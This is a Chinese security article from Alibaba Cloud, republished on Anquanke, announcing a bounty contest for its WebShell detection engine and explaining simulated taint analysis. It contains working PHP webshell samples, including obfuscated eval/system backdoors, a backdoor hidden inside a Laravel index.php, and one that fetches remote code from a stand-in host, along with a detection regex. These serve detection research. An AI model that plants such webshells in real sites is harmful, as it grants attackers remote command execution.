“伏魔”赏金 | WebShell检测之「模拟污点引擎」首次公测,邀你来战!

阅读量117374

|评论1

发布时间 : 2022-01-13 10:37:19

 

安全是一个动态的过程,攻防对抗如同在赛博世界里降妖伏魔,其要义是:取彼之长,补己之短。
——伏魔引擎的诞生

 

伏魔引擎挑战赛

注册时间: 2022.01.10 00:00:00 – 2022.01.24 10:00:00(UTC +8)
比赛时间: 2022.01.17 10:00:00 – 2022.01.24 10:00:00(UTC +8)
主办方: 薪火实验室 & 云安全中心 & ASRC
比赛奖金:比赛奖金:1000 RMB/份有效报告(中国区用户)、150 USD/份有效报告(面向海外用户),赛事组在中场会视赛事情况提升奖金额度。
面向群体:国内、国外白帽群体

活动网址:https://security.alibaba.com/online/detail?type=1&id=114&tab=1

 

公测背景:

伏魔引擎挑战赛是阿里云安全“宙斯计划——恶意文本检测挑战赛”的延续,整合了宙斯计划近4次公测活动中,2000+安全专家和白帽子们贡献的对抗样本。

作为Webshell检测的集大成者,伏魔(fomo)引擎集静态检测+AI检测+动态沙箱执行检测等多种综合手段为一体,加之锤炼已近2年,新开放公测的模拟污点执行引擎,给挑战者以更高的赏金、更丰富的靶场、更大的舞台,让更多安全专家齐聚一堂探索Webshell攻防领域高峰。

本届活动,我们同时开通了国内和国外的提交通道,同时还邀请了长亭 RealWorld参赛选手。欢迎海内外白帽共襄盛会。

 

模拟污点检测首度公测

在打磨检测引擎的过程中,我们逐渐意识到传统静态检测和动态检测的困境。基于上千种不同类型的对抗样本,我们打磨出模拟污点执行引擎,它既可以有效应对高级对抗手法,又能有效降低误报率。
要想理解什么是模拟污点执行检测,需要先了解两个概念。解释性脚本语言的执行过程和污点传播检测原理。

PHP执行过程

以PHP为例,脚本语言执行的过程如下:

PHP源代码会经过词法、语法的分析形成抽象语法树(AST),然后解析AST,生成opcodes,最后依次执行opcodes。在这个过程中,所有的源代码都会生成AST。

<?php
$fa = new SplFixedArray($_GET["num"]);
$fa[0] = $_GET["cmd"];
eval($fa->toArray()[0]);
?>

污点传递

污点分析就是分析程序中由污点源引入的数据,在经过数据流处理,传播到污点汇聚点后,是否符合预设的策略。对于Webshell的定义而言,这个策略就是外部可控的值,能否传递进危险函数,从而达到任意代码执行、命令执行的目的。

传统的词法引擎检测方案

PHP源代码会产生AST。通过对AST树进行遍历,可以将$_GET、$_POST等外部可控的变量标记成污点,直至污点传递至危险函数。

但是这种检测方案会产生漏报。以下面代码为例:

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

遇到代码执行、条件判断、函数调用等操作,在AST上仅仅展示一个节点,无法拿到隐藏的恶意代码信息,也就无法进行检测。

面向高对抗样本的模拟污点检测

而模拟污点检测引擎不只是在原始AST树上进行遍历,而是对每个节点进行模拟执行。

这样做的优势是不需要修改原有的zend引擎来适配检测的逻辑,而是专门面向高对抗样本定制的策略。下面我将举个例子,来说明这种方案的优越性。

<?php
// a=whoami

$l = strlen(number_format(-0.01));

substr("11system", $l, 6)($_GET['a']);

number_format函数是7.2版本的不兼容变更,这就意味着此webshell只能运行在php7.2以下的版本。如果动态沙箱为7.2及其以上,则无法计算出恶意代码,从而产生漏报。

除此之外,模拟污点引擎还添加了大量推理执行逻辑,当攻击者有意对抗时,会进行污点传播。
模拟污点引擎的本质是尽量让恶意特征暴露出来:
能直接执行的样本直接运行;不能直接执行的样本模拟执行;不能模拟执行的样本继续推理执行。
看完了模拟污点引擎的优越性,下面我们谈一谈传统静态、动态检测方案的困境。

 

静态检测难以应对未知威胁

纯静态检测是最早的文本检测手段,自诞生起直到现在还在被大量应用。但其实静态检测的效果取决于对文本特征的提取,特征的维度直接决定误报率和漏报率。在这个章节,我们主要讨论纯源码规则的静态匹配,不包括对文本进行提取AST、opcode等特征再进行静态匹配的情况。

主流的静态检测方法具备检测速度快,普适性好(跨平台、跨版本、跨语言等),实现成本低(理论上只要是黑样本,都可以写规则覆盖)的特点;然而,由于缺乏词法、语法的约束,更易产生误报,同时缺乏对抗性和技术壁垒的特点,使得此类型检测算法在遇到加壳、加密、混淆样本时难以检出,无法形成差异化优势。

正则表达式匹配易误报

<?php 
eval($_POST['shell']);

对于上面的Webshell可以直接写正则表达式进行文本匹配:

(eval|system)\(\$_(POST|GET|REQUEST)\[

利用正则表达式可以很容易对已知恶意样本进行匹配,但缺点也很明显,正则表达式无法进行词法、语法的约束,匹配到的文本不一定能正确的执行。

<?php 
eval($_POST['

如上述代码也会被规则匹配到。

算法二分类检测难以识别混淆对抗

脚本语言具有较强的灵活性,可以进行编码、加壳等混淆代码操作,躲避正则表达式的检测,从而形成漏报。

<?php
function test(){
    $a = base64_decode("YXNzZXJ0");
    $b = "$_GET[1]";
    $a($b);
}
test();
?>

对于上述的Webshell代码,除了写正则表达式检测外,不考虑语义信息,最简单的办法就是用分割符分词,产生词向量。交给算法(机器学习、深度学习),利用大量黑白样本去数据拟合,从而达到检测的目的。

这种方案存在明显不足,对于0day样本(从未在测试集内出现)的场景,无法检出。而攻防本身就对抗激烈,攻击者会事先构造高对抗的Webshell样本,尝试绕过检测引擎。

 

动态检测环境依赖度高

当对恶意文本的静态特征提取足够准确时,是较为容易检出的。但攻击者通常会采用代码混淆(加壳、编码、加密)阻碍提取特征,所以就需要动态运行跑出所有的特征,从而进行检测。

动态检测算法技术难度高,可以实现更高级复杂的检测技术,同时因真实执行,恶意代码符合语法、词法约束,不强制干预情况下误报极低。然而,由于真实执行需要对整个运行环境进行仿真和定制设计,存在成本高、检测效率低、兼容性差的问题。

以PHP为例,将phpinfo();代码进行编码并加壳混淆。

可以看到混淆成这样,静态检测是很难写规则的,如只针对特定的函数调用进行匹配,那么就会产生误报。所以需要动态执行,将隐藏的特征暴露出来,从而达到检测的目标。通过PHP VLD插件可以拿到PHP生成的OPCODE以及动态运行下的OPCODE调用。

可以看到该样本实际调用了phpinfo,通过动态运行,可以更加精准的检测样本。但不加干扰的动态执行,会遇到各种对抗的挑战。不难理解,攻击者通过构造各种条件,让动态沙箱无法将样本正常运行下去,从而躲避检测。

困境1:缺乏依赖无法运行

PHP、JSP等脚本语言可以通过include语法,引入库函数至当前作用域进行调用。动态沙箱只能拿到当前页面的代码进行运行,从而缺乏依赖,无法正常运行。

<?php
/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__.'/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__.'/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$a=array($_REQUEST['yydsyyds1']=>"3");

$b=array_keys($a)[0];

eval($b);

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

$response->send();

$kernel->terminate($request, $response);

这类样本又称为插马(在正常的文件内插入Webshell代码)。一方面在服务器上无新增落盘文件,躲避检测;另一方面可以有效避免沙箱“重放”运行。此样本单独运行,会因找不到依赖报错终止运行。需要对异常等函数调用进行特殊处理才能够将特征暴露出来。

困境2:对抗手段多,引入新攻击面

攻击者会使用分支等绕过手段,根据某外部传入参数,决定某IF条件的判断结果,防止动态沙箱的重录。

示例1- 分支对抗

// 分支对抗
<?php

if($_GET['pass']=="admin") {
    if($_GET['normal'] == "1"){
      $a =  "echo normal" ; // 分支 1
  }else if ($_GET['evil'] == "1") {
      $a = $_GET['cmd']; //  分支 2
  }
}else
{
    $a = "echo normal"; //分支3
}
system($a);
?>

只有当外部传入GET参数 webshell.php?pass=admin&evil=1&cmd=whoami时,才能执行分支2的恶意代码。

动态沙箱拿不到外部的输入,只能执行到分支3的默认逻辑,从而绕过检测。

示例2- 网络对抗

// 网络对抗
<?php
copy("http://webshell.com/1.png",'2.png');
if($_GET['abc']=='firefox'){
    require '2.png';
}
else{
    echo "no file";
}
c();

绝大多数动态沙箱,会进行断网处理,目的是为了安全可控,防止攻击者攻击沙箱。但这种措施同时会引入新的攻击面。攻击者可以将恶意代码藏在远程资源,通过请求远程资源获得恶意代码并执行。

困境3:版本碎片化严重

以PHP和JSP举例,PHP的主流版本为PHP5、PHP7、PHP8,JSP的主流版本为JDK1.6、JDK1.7、JDK1.8、JDK1.9、JDK10、JDK11、JDK12、JDK13、JDK14、Tomcat7、Tomcat8、Tomcat9、Tomcat10。每个版本都具有新特征的增加或者旧版本的遗弃,这样带来的直接问题,防御者需要为每一个版本定制动态沙箱,工程量巨大且难以维护。可以看到下面的Webshell代码,在每个php版本的写法都不一致。

<?php // php5&php7兼容写法
        ${$_GET['var_name']}=$_GET['cmd']; 
        system($a); // $a如何确定有没有赋值?
?>

<?php //php5写法,与php7不兼容
        $$_GET['var_name']=$_GET['cmd'];
        system($a);
?>

业内通用做法-执行强制干预

以PHP举例,业内对于上述对抗惯用的做法是,通过Hook PHP的执行函数和Opcode达到强制干预执行流、处理异常等行为。

这种方案遇到新版本的特征,通过修改zend引擎需要不断兼容,工程量巨大。同时如果暴力的进行执行干预、污点传递,容易产生大量误报。

 

模拟污点检测实现漏/误报的平衡

从“误报”的种类区分,共有两种类型。

•业务性误报:这种类型的误报顾名思义,开发者部署正常的业务代码,检测引擎将其识别为“Webshell”,这个原因是检测引擎对误报的控制程度不够。

•构造性误报:在攻防对抗中,攻击者在尝试构造绕过样本中触发的异常检测点,又或者是在特定版本比较苛刻的利用条件。较业务性误报而言,构造性“误报”大多为对抗过程中的异常层。

这一类型的误报,在实际的业务场景中,开发者不会写这种类型的代码,不会产生业务性误报。举个例子:

<?php
eval($a);  
?>

php 5.3以下版本register_globals默认开启的全局变量配置,url请求?a=phpinfo();即可利用。但是5.3以下版本不是主流版本,一些缺乏安全经验的人第一眼看到此代码以为是误报。

安全是动态博弈的过程,在过度追求高检出的同时,也会引入大量误报。
模拟污点检测的最大优势在于有利于平衡误报和漏报,引擎内置了各种降误报的机制,同时模拟较为真实的运行结果,极大降低了误报率。Webshell检测能力作为基础的云安全能力,服务阿里云的广大客户,如果业务性误报过多,将极大影响客户的使用。

对于客户而言,我们通过市场化、公平公开的赏金挑战赛方式,让旗下安全产品直接接受行业生态的检验,客户在选择产品的时候,可以综合考虑该产品的赏金测评结果,从而做出更好的购买决策。
对于安全产品而言,尤其是攻防类产品,它不是一个静止不变的实体商品,它从研发、交付、到后期维护,本身是一个不断动态变化的实体,需要不断的通过内部视角、外部视角去锤炼安全能力。
对于行业而言,赏金挑战赛不是一锤子买卖,一次锣鼓喧天搞完就结束,而是要长期持续举办。能力强不是自己说说而已,能力水位需要得到外部视角的不断验证。

本文由阿里云安全原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/265715

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
阿里云安全
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66